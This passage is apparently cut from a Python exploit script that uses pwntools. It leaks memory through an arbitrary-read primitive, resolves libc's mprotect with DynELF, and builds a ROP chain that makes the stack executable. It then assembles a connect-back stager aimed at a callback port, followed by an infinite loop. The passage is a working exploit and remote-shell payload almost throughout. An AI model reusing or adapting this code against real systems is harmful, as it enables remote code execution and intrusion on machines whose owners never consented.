logging.info(
                "epp base address: 0x{:X}".format(epp_ba))
            break

        epp_ba -= 0x1000

    def leak(address):
        return a_read(s, address, 8)

    epp_dyn_elf = DynELF(leak, epp_ba)
    libc_mprotect = epp_dyn_elf.lookup('mprotect', 'libc')

    context.clear(arch='amd64')
    binary = ELF(epp_path)
    binary.address = epp_ba
    binary.symbols = {'mprotect': libc_mprotect}
    rop = ROP(binary)
    # Mark the current stack page, and the one just before, incase we are on a boundary.
    rop.call(
        'mprotect', (stack_frame.previous_frame_stack_base_pointer & ~0xFFF, 0x2000, 0x7))

    target_ip = socket.gethostbyname(socket.gethostname())

    mprotect_rop = rop.chain()

    logging.info(rop.dump())
    # We are gonna be a little lazy and just end with an infinite loop,
    # we make no attempt to clean up the stack and continue normal
    # execution.
    connect_stager = asm(connectstager(target_ip, CALLBACK_PORT) + infloop())